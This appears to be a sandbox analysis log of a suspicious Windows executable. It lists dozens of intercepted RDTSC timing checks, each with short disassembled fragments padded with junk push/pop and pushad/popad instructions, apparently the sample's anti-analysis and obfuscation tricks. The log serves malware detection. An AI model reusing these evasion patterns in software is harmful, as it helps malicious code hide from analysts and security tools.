Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74B080 second address: 74B0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FCD1153202Bh 0x0000000c jmp 00007FCD11532025h 0x00000011 push ebx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 pushad 0x00000018 jl 00007FCD11532016h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74B7A4 second address: 74B7A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74B7A8 second address: 74B7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FCD1153201Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74B7BE second address: 74B7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74B7C3 second address: 74B7CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FCD11532016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CD6E7 second address: 6CD703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CD703 second address: 6CD71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007FCD11532016h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 jo 00007FCD11532016h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CD71E second address: 6CD724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CD724 second address: 6CD729 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 752FBA second address: 752FD1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FCD111F5CC1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 752FD1 second address: 752FEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532024h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 752FEB second address: 752FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 752FFA second address: 753017 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FCD11532024h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 753017 second address: 75301B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7558BE second address: 7558CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FCD11532016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7558CE second address: 7558E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCD111F5CC0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 755B89 second address: 755BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 755D29 second address: 755D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 755D2D second address: 755D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jno 00007FCD11532016h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75C02A second address: 75C02E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75C02E second address: 75C044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCD1153201Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75C044 second address: 75C053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jbe 00007FCD111F5CB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E63A second address: 70E662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCD11532026h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E662 second address: 70E66C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCD111F5CB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E66C second address: 70E6CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FCD11532018h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+1248863Dh] 0x00000029 add eax, ebx 0x0000002b call 00007FCD11532021h 0x00000030 jng 00007FCD1153201Ch 0x00000036 mov dword ptr [ebp+12471C6Dh], ebx 0x0000003c pop edx 0x0000003d nop 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jg 00007FCD11532016h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E6CA second address: 70E6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75D441 second address: 75D445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75D445 second address: 75D451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75D451 second address: 75D455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75D455 second address: 75D459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75D459 second address: 75D45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 75FF56 second address: 75FF5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7600A0 second address: 7600AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7600AC second address: 7600B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FCD111F5CB6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7600B9 second address: 7600C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7600C9 second address: 7600CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7639C3 second address: 7639D0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7639D0 second address: 763A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CBFh 0x00000009 pop edx 0x0000000a jnl 00007FCD111F5CB8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007FCD111F5CB6h 0x00000021 jne 00007FCD111F5CB6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763A01 second address: 763A0F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763A0F second address: 763A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763A13 second address: 763A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532020h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763B72 second address: 763B7E instructions: 0x00000000 rdtsc 0x00000002 js 00007FCD111F5CBEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763B7E second address: 763B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FCD11532026h 0x0000000e jmp 00007FCD11532020h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763D19 second address: 763D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FCD111F5CB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763D23 second address: 763D61 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCD11532016h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FCD1153201Ch 0x00000012 jbe 00007FCD1153202Fh 0x00000018 jmp 00007FCD1153201Dh 0x0000001d jmp 00007FCD1153201Ch 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 763D61 second address: 763D86 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FCD111F5CCBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7640B2 second address: 7640B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7640B6 second address: 7640DD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCD111F5CB6h 0x00000008 jl 00007FCD111F5CB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007FCD111F5CB8h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FCD111F5CBCh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 764224 second address: 76422A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 769DC3 second address: 769DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCD111F5CC2h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 769DE2 second address: 769DEE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 769DEE second address: 769DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 76A217 second address: 76A21D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 76A21D second address: 76A226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BE2CA second address: 6BE2DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FCD11532016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007FCD11532016h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 76A56F second address: 76A575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 76B128 second address: 76B133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 76B3BD second address: 76B3CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a jng 00007FCD111F5CCAh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 76B3CF second address: 76B3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD1153201Eh 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007FCD11532016h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BC7C4 second address: 6BC7ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCD111F5CB6h 0x0000000a jmp 00007FCD111F5CC6h 0x0000000f popad 0x00000010 je 00007FCD111F5CBCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BC7ED second address: 6BC815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FCD11532031h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BC815 second address: 6BC847 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FCD111F5CC2h 0x00000008 pop esi 0x00000009 pushad 0x0000000a jmp 00007FCD111F5CC9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7742B7 second address: 7742C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7742C0 second address: 7742C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 774465 second address: 77447D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCD11532021h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 774B6E second address: 774B8F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCD111F5CB6h 0x00000008 jmp 00007FCD111F5CC3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 774B8F second address: 774B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 774B95 second address: 774B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 774B99 second address: 774BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 774BA7 second address: 774BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77AF71 second address: 77AF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77AF75 second address: 77AF79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77AF79 second address: 77AF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77AF7F second address: 77AF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FCD111F5CC8h 0x0000000c jmp 00007FCD111F5CBCh 0x00000011 jbe 00007FCD111F5CB6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B561 second address: 77B565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B565 second address: 77B56F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B56F second address: 77B573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B88A second address: 77B896 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007FCD111F5CB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B896 second address: 77B89B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B89B second address: 77B8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B8A1 second address: 77B8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B8A7 second address: 77B8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FCD111F5CCDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B8B4 second address: 77B8FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD11532021h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FCD1153201Ah 0x00000014 jc 00007FCD11532016h 0x0000001a jmp 00007FCD11532027h 0x0000001f popad 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77B8FA second address: 77B900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77BA85 second address: 77BAA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCD11532025h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77A986 second address: 77A98F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77A98F second address: 77A9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD11532023h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 77A9AB second address: 77A9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FCD111F5CB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BAD3B second address: 6BAD54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCD1153201Dh 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6BAD54 second address: 6BAD5E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD111F5CB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
